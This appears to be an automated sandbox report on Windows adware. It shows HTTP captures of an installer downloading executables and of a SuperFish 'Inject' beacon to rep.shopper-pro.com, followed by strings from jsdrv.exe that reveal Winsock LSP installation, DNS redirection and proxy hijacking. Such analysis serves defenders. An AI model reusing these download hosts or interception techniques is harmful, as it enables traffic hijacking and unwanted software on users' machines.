GET /20694.ashx?e=t4TV4yXs13MhwgnRr/y OBPn9tRW/pAxQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3FtDAINbKEVaCnHdd5HUOns4EacvjQzW0IqsJA2m o88T9GHqOOQufbxTD5wywOJP/u6z7Uinv/gbnLNIgSQerWiZCCrzprTQAhTD7v1xeC4SYGfoTYqXvAIcLERiDa7ohckeENmAaNkdHIW7Wi64sfeJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLGPTgpcaNhCc8cm9dOD9qQIA7ezX8WZgWM7a8MPvRSFpa4U6LaqLYoc= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:48 GMT
X-Cache: Miss from cloudfront
Via: 1.1 da44a033908207250002410c047e8764.cloudfront.net (CloudFront)
X-Amz-Cf-Id: w-O0OdfgvGsJc6VKj9eLz5foZo5pJ_LXoyX73ow0HpTGb09pybtEZA==
HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/8.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Thu, 12 Feb 2015 05:32:48 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 da44a033908207250002410c047e87
64.cloudfront.net (CloudFront)..X-Amz-Cf-Id: w-O0OdfgvGsJc6VKj9eLz5foZ
o5pJ_LXoyX73ow0HpTGb09pybtEZA==......


GET /20694.ashx?e=4mC0vXGWFtoJz2TpdH2qbCHCCdGv/L44zsntEvjGDPJAXdQqxJ1va1k2AtpRMnokIR1sKxPFdTcW0MAg1soRVoKcd13kdQ6ezgRpy NDNbQiqwkDab6jzxP0Yeo45C59vFMPnDLA4k/ 7rPtSKe/ Bucs0iBJB6to77UvoFFdoZWOvghCBTr/YNeFbKg7t0VKYX3Ti/i3YNrVMaqjjilw4zwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbjsvnWTmObjOwEISYEO9NSz/6R0iPpUTwI3P/RqpmhvYhJ4R9eJ8wpns0vHcnbOr0sLNKYVmdZ/A= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:52 GMT
X-Cache: Miss from cloudfront
Via: 1.1 da44a033908207250002410c047e8764.cloudfront.net (CloudFront)
X-Amz-Cf-Id: oeiRplcWhmlygjMRbpVuFMVBMmvqw-T8Ewl97DWNQ4wI9WBJ4voCig==
....


GET /20694.ashx?e=2v0SNuZrMFxVoN1r7EPlay0i4Lp/1ApcW1tgKrNy38kQyol6Hp9Rdg0/niVdnGaSLiESX1gIXlW1/TMhKzXOVw4eC7FKX8Ijj71aclsTdMXuvGWC0MX2mFsTQP0/APMXCuueMgyXhVuhQNbb34rcph0kUKqVSNMZgNhnec1Ge09j/dHB7BZT3ABZGQjpShx/0JQd5HxgIXcyS07UkHqNsveJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLGPTgpcaNhCc8cm9dOD9qQIA7ezX8WZgWM7a8MPvRSFpa4U6LaqLYoc= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:29 GMT
X-Cache: Miss from cloudfront
Via: 1.1 da44a033908207250002410c047e8764.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 4bxm_knd8mJe2jfTLV68Of6YrCFTpc1rqibgwGK-u2uohSxi9w-Ttg==
HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Thu, 12 Feb 2015 05:32:29 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 da44a033908207250002410c047e87
64.cloudfront.net (CloudFront)..X-Amz-Cf-Id: 4bxm_knd8mJe2jfTLV68Of6Yr
CFTpc1rqibgwGK-u2uohSxi9w-Ttg==......


GET /20694.ashx?e=qIQu8 l0/f0hwgnRr/y ODjso8IixxXcQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3FtDAINbKEVaCnHdd5HUOns4EacvjQzW0IqsJA2m o88T9GHqOOQufbxTD5wywOJP/u6z7Uinv/gbnLNIgSQerYlunopVUmMPyETj4nts NO517CUeh0QiwTxIUcsgQ wusjSmD/os8uUYk8/b2 6ERUQj4gA06vs0DAe2B9i5kJssIFedkeDcwU A6kiYcjN5jgwqhpV 3RVAAKZHGiEvrtV vhbJt2rclTumrkXWbdv qR/r3k14sbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sfc2l ha66tvUgpx3XeR1Dp7OBGnL40M1tCKrCQNpvqPPPg5ZgbzKdXM= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:58 GMT
X-Cache: Miss from cloudfront
Via: 1.1 da44a033908207250002410c047e8764.cloudfront.net (CloudFront)
X-Amz-Cf-Id: NlrkBG9WwDVOItFSaoGakx4XgWi6exr70kQG69YXfaSCLQBH3XXIrA==
HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/8.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Thu, 12 Feb 2015 05:32:58 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 da44a033908207250002410c047e87
64.cloudfront.net (CloudFront)..X-Amz-Cf-Id: NlrkBG9WwDVOItFSaoGakx4Xg
Wi6exr70kQG69YXfaSCLQBH3XXIrA==..



GET /?product=firefox-34.0.5-complete&os=win&lang=en-US HTTP/1.1
Host: download.mozilla.org
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Range: bytes=900000-1199999
Cookie: optimizelySegments={"245617832":"none","245875585":"direct","245677587":"ff","246048108":"false","869421433":"true"}; optimizelyEndUserId=oeu1401956287616r0.2603029596469415; optimizelyBuckets={}; __utma=150903082.1617578787.1401956289.1401956289.1401956289.1
Connection: keep-alive


HTTP/1.1 302 Found
Server: Apache
X-Backend-Server: bouncer3.webapp.phx1.mozilla.com
Cache-Control: max-age=60
Content-Type: text/html; charset=UTF-8
Date: Thu, 12 Feb 2015 05:33:18 GMT
Location: hXXp://download.cdn.mozilla.net/pub/firefox/releases/34.0.5/update/win32/en-US/firefox-34.0.5.complete.mar
Keep-Alive: timeout=3, max=500
Content-Length: 0
Connection: Keep-Alive
X-Cache-Info: cached
HTTP/1.1 302 Found..Server: Apache..X-Backend-Server: bouncer3.webapp.
phx1.mozilla.com..Cache-Control: max-age=60..Content-Type: text/html; 
charset=UTF-8..Date: Thu, 12 Feb 2015 05:33:18 GMT..Location: hXXp://d
ownload.cdn.mozilla.net/pub/firefox/releases/34.0.5/update/win32/en-US
/firefox-34.0.5.complete.mar..Keep-Alive: timeout=3, max=500..Content-
Length: 0..Connection: Keep-Alive..X-Cache-Info: cached..



GET /mirror/mystartsearch/default/setup.exe HTTP/1.1
Range: bytes=120612-
User-Agent: Better Installer(Mozilla)
Host: d1mvy92rurx48h.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 201020
Connection: keep-alive
Date: Sun, 08 Feb 2015 05:31:06 GMT
x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590
Cache-Control: max-age=3600
Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT
ETag: "31f8d1cffb02dff93646f81d8ce3dd75"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 120612-321631/321632
Age: 92
X-Cache: Hit from cloudfront
Via: 1.1 e4438a14707a01f6102dc21875d75080.cloudfront.net (CloudFront)
X-Amz-Cf-Id: JRFBfJGBBSkMC3xAQHNm1ZzjzSSvqQhvlGSQSNturhxxwU1RnrdFug==
....p...Q. .t.3.......t....3..........P.;Q.tv..Q...p. .t.3.......t....
........p...Q. .t.3.......t......r.....p...Q. .t.3.......t......S.....
p...Q. .t.3.......t....3.....0....P.;Q.tu.....Q. .t.3.......t.........
...p...Q. .t.3.......t............p...Q. .t.3.......t............p...Q
. .t.3.......t....3...........I...@. ...8...3.......D...(....P.;Q.tu..
...Q. .t.3.......t......c.....p...Q. .t.3.......t......D.....p...Q. .t
.3.......t......%.....p...Q. .t.3.......t....3..........P.;Q.tu.....Q.
 .t.3.......t............p...Q. .t.3.......t............p...Q. .t.3...
....t............p...Q. .t.3.......t....3.....{....P.;Q.tu.....Q. .t.3
.......t......U.....p...Q. .t.3.......t......6.....p...Q. .t.3.......t
............p...Q. .t.3.......t....3..........P.;Q.tu.....Q. .t.3.....
..t............p...Q. .t.3.......t............p...Q. .t.3.......t.....
.......p...Q. .t.3.......t....3.....m....P.;Q.tu.....Q. .t.3.......t..
....G.....p...Q. .t.3.......t......(.....p...Q. .t.3.......t..........
..p...Q. .t.3.......t....3..........P.;Q.tv..Q...p. .t.3.......t......
......Q...p. .t.3.......t............Q...p. .t.3.......t............Q.
..p. .t.3.......t....3.....^....P.;Q.tu.....Q. .t.3.......t......8....
.p...Q. .t.3.......t............p...Q. .t.3.......t............p...Q. 
.t.3.......t....3.........f.P.f;Q...f.....Q...p. .......3.......T.....
...........P.;Q.tv..Q...p. .t.3.......t......z.....p...Q. .t.3.......t
......[.....p...Q. .t.3.......t......<.....p...Q. .t.3.......t....3
..........P.;Q.tu.....Q. .t.3.......t............p...Q. .t.3......
<<< skipped >>>


GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1
Range: bytes=71389-142779
User-Agent: Better Installer(Mozilla)
Host: d1mvy92rurx48h.cloudfront.net
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 71391
Connection: keep-alive
Date: Sun, 08 Feb 2015 04:46:33 GMT
x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894
Cache-Control: max-age=3600
Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT
ETag: "518879abe3170dabd172dfffcd165598"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 71389-142779/285558
Age: 182
X-Cache: Hit from cloudfront
Via: 1.1 affe26bf02a36a4a45ea1eb3ce2b4a62.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 8nLU1Sy9ppzpQhxU5Bfe-R5MnuBbB8VS6R-wRoxYCrBoMxT61TXYNQ==
...IK.#.ikv7..=....\z....if.J^.;,5!.._...MR..w.OX..&.....p:.........5.
L.iT.L.O.....7D.]b..........3.. 2=v.a.....^k....xp .`..y.1>...A.Q!.
.._.J.D.......j..].8v....>.P.\ei%..OU[.V.p.*ky..E*.D0).-l.B.....*..
aG.b^..T.yqu8.Np.'.Z&V`..-..2l..Bu.l ........4X.U..9p..}E|..J...".m..:
[email protected]$h...8D.s"..]......3.. .$..H.Sf.z.....q.Ke.....b......
.IO[[email protected].....].<.........g.mG
..as..ez|.C.......=p.^U|.`s6.).\).]........2j.....N....a...i\.m.<..
....8......z....=....i.s.2...r...n.=h.D".O.MN..a.S..f. .S.i....N>.O
;...>..4%.{.L....... m.....%.Hw.U<...."...ns.Z....).)`o:....O...
.0..SDt..|V.G...iU.d P..x..{`i[.X.Uh..@..`C...;6.\..y.]-W.... ...G9`.%
i~.G.......r#`...`...G....Z..KQA~'vL2XAM..(o......jU.....3........7...
[email protected].`....u...G......H.N.|..;#..G.n]J.Kx......t.i
f.8u.^....L..L..;..# 6...p ...........U..KU%....F...>....L.sZ.Cm.!.
.cllj...&.:......p..y.....ds_.....W..t2.,.I...Z..c.T?/&O...8..q..<:
Cp.....7&.D7.....e,2.)..G..FP.l. .N....(......I.......4&...8.1;...M...
=.2..%;.V).>[email protected].!..GHUZ.nnh..........n#.....F.v.S...
Zy.m..........;..k...3..(. .k.............,H.D.L.....K...`[.. C..7X.uq
.zV.t...m..`..H.....s.e..R.7...4.F..`.b!..N.pY...=%K...s.Tt*9.rR..A...
.xt.hR.k..25...=`...7.........&=....vK.A...4.d7y.....(....7.(..l.k...h
.C.w|..yP..#...lNI..\8....c...I&.h.[.=p... ...._......).;.>"@.....@
.n@..)...,....80.W......kh..z8.......W3S..E...3..H....^.t.L.\........3
G..b.....!.^....U........
<<< skipped >>>


GET /app/ping.ashx?e=ZuS0/O3oV2rYybLSKYXwfrLp8bM2zq8UkmHgElHm6ZYRTcio4GHUdmdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUNj04KXGjYQnPHJvXTg/akCAO3s1/FmYFjO2vDD70UhaWuFOi2qi2KH&product=EXTFirefox&rnd=1423719207&it=0&action=Inject&text=SuperFish HTTP/1.1
Host: rep.shopper-pro.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:33:22 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Thu, 12 Feb 20
15 05:33:22 GMT..Content-Length: 0..







The Application connects to the servers at the folowing location(s):







jsdrv.exe_3472:




.text
`.rdata
@.data
.rsrc
@.reloc
HTTPt
FV<.tN<[tJ<\tF<*tB<|t><^t:<$t6
QSSSSh`
u.PSh@u
j.hHc
j.hX"
<d/d/%d d:d:d::d 0x%X>
[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegNotifyChangeKeyValue
[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegOpenKeyEx
[SbTracer::RecursiveCreateDirectory] Directory: %s
[SbTracer::RecursiveCreateDirectory] ___Error - CreateDirectory: %s
[SbTracer::RecursiveCreateDirectory] ___Error - Directory: %s
[SbTracer::FormatFilePath] Log Path: %s
[SbTracer::FormatFilePath] ___Error - RecursiveCreateDirectory: %s
[SbTracer::FormatFilePath] ___Warning - No Log folder: %s
[SbTracer::FormatFilePath] ___Error - GetModuleFileName: %s
\StringFileInfo\x\%s
[SbTracer::ReadConfiguration] Trace Max Size: %d
[SbTracer::ReadConfiguration] Trace Time Stamp: %d
[SbTracer::ReadConfiguration] Trace Time Limit: %d
[SbTracer::ReadConfiguration] Trace Backup: %d
[SbTracer::ReadConfiguration] Trace Destination: %d
[SbTracer::ReadConfiguration] Trace Level: %d
[SbTracer::BackupTraceFile] %s
[SbTracer::OpenTraceFile] Done %s
[SbTracer::OpenTraceFile] ___Error: %d, File: %s
[SbTracer::WriteTraceLine] !!! OVERFLOW or FORMAT ERROR !!! - (%d) %s
Windows CE
Windows 7
Windows Vista
Windows 2003 Server
Windows XP
Windows 2000
Windows NT
Windows Me
Windows 98
Windows 95
[CLoader::DisableDnsController] ___Error Disabling Dns Redirect Controller. LE: %X
[CLoader::ProcessTimeoutEvent] ___Warning: Unsupported event (%d)
[CLoader::AddRef] RefCount: %d
[CLoader::Release] RefCount: %d
[CLoader::UpdateVersionStatus] Status: %d (%d)
[CLoader::UnLoadRedirector] ___Error to Stop the Redirect Controller. LE: %d
[CLoader::GetMode] Engine Mode = %d
- m_ImpersonateDone = %d, m_DoLoadModules = %d m_UIRunning = %d
spCmd
[CLoader::DoStop] ___Error UnLoadMonitor - %X
[CLoader::DoStop] ___Error UnLoadRedirector - %X
[CLoader::DoStop] ___Error UnLoadProxy - %X
[CLoader::Load] Added %d m_nLSPConfChangedEvent
[CLoader::IsToLoadProxyModule] ___Error to Create IHttpEngineConfiguration
[CLoader::IsToLoadProxyModule] FALSE - Partner: %s
[CLoader::IsToLoadProxyModule] OEM: %s, Partner: %s
Monitor.dll
%d.%d.%d.%d
[CLoader::LoadProxy] ___Error: Failed To Create the proxy, CreateProxy: %d
[CLoader::RunLspInstaller] ___Error CreateProcess: %d
[CLoader::RunLspInstaller] CreateProcess: %s
\\.\pipe\VAPIPESERVERENG
[CLoader::RunPartnerCommTest] ___Error to create CommTest process. LE: %d
CommTest.exe
[CLoader::FixLSPStatus] Not going to fix LSP, it has been called %d times
[CLoader::CheckOurLSPStatus] Done.
[CLoader::CheckOurLSPStatus] ___Error CreateProcess: %d
[CLoader::CheckOurLSPStatus] CreateProcess: %s
[CLoader::CheckOurLSPStatus]
EmptyKey
[CLoader::InitCore] ___Warning - failed Open Current User Key - ProductInfo.m_hKeyRoot = ACCELERATOR_GLOBAL_KEY
3.3.9.3
[CLoader::InstallLsp] Done - %s
[CLoader::InstallLsp] Running second LSP installation method - %s
2.exe
[CLoader::SetLastTestSucceeded] InstalledLspVersion: %s
[CLoader::UnInstallLSP] Done - %s
Name: %s
Path: %s
Version: %s
%s_%d_%s.log
[CLoader::LoadModules] Already loaded, Status = %d, return...
[CLoader::ProcessEvent] ___Warning: Unsupported event (%d)
[CLoader::ProcessEvent] m_nLSPConfChangedEvent - Added %d
[CLoader::ProcessEvent] m_nLSPConfChangedEvent - LSP configuration has changed, event %d
[CLoader::ProcessEvent] m_UninstallLspProcess - GetExitCodeProcess() returned: %d
[CLoader::ProcessEvent] m_nLspKeepAliveProcess - Added %d m_nLSPConfChangedEvent
[CLoader::ProcessEvent] m_nLspKeepAliveProcess - GetExitCodeProcess() returned: %d
[CLoader::ProcessEvent] m_nLspKeepAliveProcess - Check if our LSP installed DONE, event %d
[CLoader::ProcessEvent] m_InstallLspProcess - GetExitCodeProcess returned: %d
[CLoader::ProcessEvent] m_CommTestSucceeded - Added %d m_nLSPConfChangedEvent
%sLow\%s\
%C:\Users\Public\Documents\%s\%s\
%s\%s\%s\
%s\Application Data\%s\%s\
jsdrv.exe
config.xml
[CImpersonateThread::NotifyImpersonateLogon] Time: %d
[CImpersonateThread::NotifyImpersonateLogoff] Time: %d
[CImpersonateThread::ProcessEvent] CreateProcess - CmdLine: %s, AppName: %s, ShowCmd: %d
[CImpersonateThread::CreateProcess] CmdLine: %s, AppName: %s, ShowCmd: %d
[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(TRUE), LE: %d
[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(FALSE) failed: %d
\\.\pipe\VAPIPESERVERUI
[CBaseProviderProc::WSPAccept] ___Warning m_ProcTable.lpWSPAccept is not initialized, calling WSAAccept
[CBaseProviderProc::WSPAddressToString] ___Warning m_ProcTable.lpWSPAddressToString is not initialized, calling WSAAddressToString
[CBaseProviderProc::WSPAsyncSelect] ___Warning m_ProcTable.WSPAsyncSelect is not initialized, calling WSAAsyncSelect
[CBaseProviderProc::WSPBind] ___Warning m_ProcTable.lpWSPBind is not initialized, calling bind
[CBaseProviderProc::WSPCancelBlockingCall] ___Warning m_ProcTable.lpWSPCancelBlockingCall is not initialized, calling WSACancelBlockingCall
[CBaseProviderProc::WSPCloseSocket] ___Warning m_ProcTable.lpWSPCloseSocket is not initialized, calling closesocket
[CBaseProviderProc::WSPConnect] ___Warning m_ProcTable.lpWSPConnect is not initialized, calling WSAConnect
[CBaseProviderProc::WSPDuplicateSocket] ___Warning m_ProcTable.lpWSPDuplicateSocket is not initialized, calling WSADuplicateSocketW
[CBaseProviderProc::WSPEnumNetworkEvents] ___Warning m_ProcTable.lpWSPEnumNetworkEvents is not initialized, calling WSAEnumNetworkEvents
[CBaseProviderProc::WSPEventSelect] ___Warning m_ProcTable.lpWSPEventSelect is not initialized, calling WSAEventSelect
[CBaseProviderProc::WSPGetOverlappedResult] ___Warning m_ProcTable.lpWSPGetOverlappedResult is not initialized, calling WSAGetOverlappedResult
[CBaseProviderProc::WSPGetPeerName] ___Warning m_ProcTable.lpWSPGetPeerName is not initialized, calling getpeername
[CBaseProviderProc::WSPGetSockName] ___Warning m_ProcTable.lpWSPGetSockName is not initialized, calling getsockname
[CBaseProviderProc::WSPGetSockOpt] ___Warning m_ProcTable.lpWSPGetSockOpt is not initialized, calling getsockopt
[CBaseProviderProc::WSPGetQOSByName] ___Warning m_ProcTable.lpWSPGetQOSByName is not initialized, calling WSAGetQOSByName
[CBaseProviderProc::WSPIoctl] ___Warning m_ProcTable.lpWSPIoctl is not initialized, calling WSAIoctl
[CBaseProviderProc::WSPJoinLeaf] ___Warning m_ProcTable.lpWSPJoinLeaf is not initialized, calling WSAJoinLeaf
[CBaseProviderProc::WSPJoinLeaf]
[CBaseProviderProc::WSPListen] ___Warning m_ProcTable.lpWSPListen is not initialized, calling listen
[CBaseProviderProc::WSPRecv] ___Warning m_ProcTable.lpWSPRecv is not initialized, calling WSARecv
[CBaseProviderProc::WSPRecvDisconnect] ___Warning m_ProcTable.lpWSPRecvDisconnect is not initialized, calling WSARecvDisconnect
[CBaseProviderProc::WSPRecvFrom] ___Warning m_ProcTable.lpWSPRecvFrom is not initialized, calling WSARecvFrom
[CBaseProviderProc::WSPSelect] ___Warning m_ProcTable.lpWSPSelect is not initialized, calling select
[CBaseProviderProc::WSPSend] ___Warning m_ProcTable.lpWSPSend is not initialized, calling WSASend
[CBaseProviderProc::WSPSendDisconnect] ___Warning m_ProcTable.lpWSPSendDisconnect is not initialized, calling WSASendDisconnect
[CBaseProviderProc::WSPSendTo] ___Warning m_ProcTable.lpWSPAddressToString is not initialized, calling WSASendTo
[CBaseProviderProc::WSPSetSockOpt] ___Warning m_ProcTable.lpWSPSetSockOpt is not initialized, calling setsockopt
[CBaseProviderProc::WSPShutdown] ___Warning m_ProcTable.lpWSPShutdown is not initialized, calling shutdown
[CBaseProviderProc::WSPStringToAddress] ___Warning m_ProcTable.lpWSPStringToAddress is not initialized, calling WSAStringToAddress
[CBaseProviderProc::WSPSocket] ___Warning m_ProcTable.lpWSPSocket is not initialized, calling socket
[CBaseProviderProc::WSPSocket] ___Error could not find protocol for af %d, type %d, protocol %d
[CBaseProviderProc::WSPSocket] ___Error not appropriate af %d
[CBaseProviderProc::WSPCleanup] ___Warning m_ProcTable.lpWSPCleanup is not initialized, calling WSACleanup
[CRedirectController::SetPassThrough]
[CRedirectController::GetTestingMode] %d
[CRedirectController::IsModeSupported] ___Error to Create IHttpEngineConfiguration
[CRedirectController::CRedirectController] ___Error to Create IHttpEngineConfiguration
IsOurPacFileExist: %s
[CRedirectController::IsOurPacFileExist] Existing Pac: %s - Applyed Pac: %s
showitunesMsg
DontShowAccelerationNotSupported
lastiTunesMsgTime
ManualProxyPort
[CConfig::IsLastTestingSucceeded] REGISTRY - Status = %d
[CConfig::IsLastTestingSucceeded] XML - Status = %d
[CConfig::SetLastTestingSucceeded] ___Error LastTestingSucceeded = %d (XML)
[CConfig::SetLastTestingSucceeded] LastTestingSucceeded = %d (XML)
[CConfig::IsTestingMode] ___Error TestingMode = %d (XML)
[CConfig::IsTestingMode] TestingMode = %d (XML)
[CConfig::SetTestingMode] ___Error TestingMode = %d (XML)
[CConfig::SetTestingMode] TestingMode = %d (XML)
[CConfig::GetBrandPort] BrandPort = %d
br_port
CConfig::SetCurrentUserKey
ReportCommFailed
[CConfig::SetSendLogFiles] Status = %d
[CConfig::SetSendInstLogFileOnly] Status = %d
[CConfig::GetCurrentUserKey] ___Error spIImpersonateThread == NULL
[CConfig::SetTracerOn] ___Error GetRegistryKeys
[CConfig::UpdateTracerFromReg] ___Error GetRegistryKeys
[CConfig::SetTracer] Status = %d
[CConfig::SetBackup] ___Error GetRegistryKeys
[CConfig::SetBackup] Status = %d
vaproxy.pac
[CConfig::AddToLearningDomainsList] ___Error adding the domain %s to the learning domains list
[CConfig::AddToLearningDomainsList] The domain %s was added to the learning domains list
[CConfig::IsXBoxMode] Status = %d
[CEventsThread::SetTimeoutResolution] From: %d -> To: %d
[CEventsThread::WaitForMultipleEvents] Released on Signaled: %d ms
[CEventsThread::WaitForMultipleEvents] Released on Timeout: %d ms
[CEventsThread::WaitForMultipleEvents] ___Error MsgWaitForMultipleObjectsEx. LE: %d
[CEventsThread::WaitForMultipleEvents] TID=%X
[CEventsThread::CreateNamedEvent] OpenEvent. LE: %d
[CEventsThread::CreateNamedEvent] ___Error OpenEvent: LE: %d
[CEventsThread::CreateNamedEvent] ___Error CreateEvent. LE: %d. Try OpenEvent...
[CEventsThread::Start - Leave] TID=%X
[CEventsThread::Start] ___Error - Failed to create thread: %X
[CEventsThread::Stop - Leave] TID=%X
[CEventsThread::Stop - Enter] TID=%X
[CEventsThread::CallProcessTimeoutRoutines] ___Error Invalid Event Entry: %d, Timeout: %d
[CEventsThread::AlertEvent] ___Error SetEvent failed: %d
[CEventsThread::AlertEvent] ___Error Invalid Event Entry: %d
[CEventsThread::AlertEvent] ___Error Not found Event: %d
[CEventsThread::SetGlobalEvent] ___Error Invalid Event Entry: %d
[CEventsThread::SetGlobalEvent] ___Error Not found Event: %d
[CEventsThread::SetGlobalEvent] Event: %d
[CEventsThread::ResetEvent] ___Error ResetEvent failed: %d
[CEventsThread::ResetEvent] ___Error Invalid Event Entry: %d
[CEventsThread::ResetEvent] ___Error Not found Event: %d
[CEventsThread::ResetEvent] Event: %d
[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Entry: %d
[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Index: %d
[CEventsThread::RemoveEvent] ___Error CloseHandle failed: %d
[CEventsThread::RemoveEvent] ___Error Invalid Event Entry: %d
[CEventsThread::RemoveEvent] ___Error Not found Event: %d
[CEventsThread::RemoveEvent] Event: %d
[CEventsThread::WaitEvent] TID=%X
[CEventsThread::Cleanup] ___Error CloseHandle(0x%p) failed: %d
[CEventsThread::Cleanup] Closing Handle: %d
[CEventsThread::Work] TID=%X - Exit !!!
[CEventsThread::Work] WAIT_ABANDONED - %d
[CEventsThread::Work] TID=%X
[CEventsThread::AddEvent] ___Warning event handle already exists %d
[CEventsThread::AddEvent] ___Error invalid event handle %d
[CDnsController::SetRedirectFilter] Domain: %s
[CServiceController::ChangeStartType] ___Error ChangeServiceConfig failed: %d
[CServiceController::ChangeStartType] ___Error OpenService: %s, failed: %d
[CServiceController::ChangeStartType] ___Error OpenSCManager failed: %d
[CServiceController::ChangeStartType] Name: %s
[CServiceController::ExecuteServer] Exit
[CServiceController::ExecuteServer] Enter
[CServiceController::ServiceMain] ___Error SetServiceStatus Failed: %d
[CServiceController::ServiceMain] ___Error RegisterServiceCtrlHandler Failed: %d
[CServiceController::UpdateServiceDespatchTable] ___Error Exception StartServiceCtrlDispatcher Failed: %d
[CServiceController::UpdateServiceDespatchTable] ___Error StartServiceCtrlDispatcher Failed: %d
[CServiceController::UpdateServiceDespatchTable] Enter, %s
[CServiceController::Install] ___Error OpenService Failed: %d
[CServiceController::Install] ___Error QueryServiceStatus Failed: %d
[CServiceController::Install] ___Error CreateService Failed: %d
[CServiceController::Install] ___Error OpenSCManager Failed: %d
%s -%s -%s
%s\%s
[CServiceController::Install] ___Error GetModuleFileName Failed: %d
[CServiceController::Remove] ___Error OpenService Failed: %d
[CServiceController::Remove] ___Error OpenSCManager Failed: %d
[CServiceController::GetStatus] ___Error QueryServiceStatus Failed: %d
[CServiceController::GetStatus] ___Error OpenService Failed: %d
[CServiceController::GetStatus] ___Error OpenSCManager Failed: %d
[CServiceController::Start] The service %s was started
[CServiceController::Start] ___Error StartService Failed: %d
[CServiceController::Start] ___Error OpenService Failed: %d
[CServiceController::Start] ___Error OpenSCManager Failed: %d
[CServiceController::Start] Going to start the service %s
[CServiceController::Stop] The service %s was stopped
JsDriverService.exe
[CServiceController::Stop] ___Error ControlService Failed: %d
[CServiceController::Stop] ___Error OpenService Failed: %d
[CServiceController::Stop] Going to stop the service %s
[CServiceController::Stop] ___Error SetServiceStatus Failed: %d
[CServiceController::GetArgsFromCmd] Exit
[CServiceController::GetArgsFromCmd] m_bSCMCmd = TRUE
[CServiceController::GetArgsFromCmd] Enter
[CServiceController::RunCommand] Args: %s
[CMutexLock::Open] ___Error %d, OpenMutex: %s
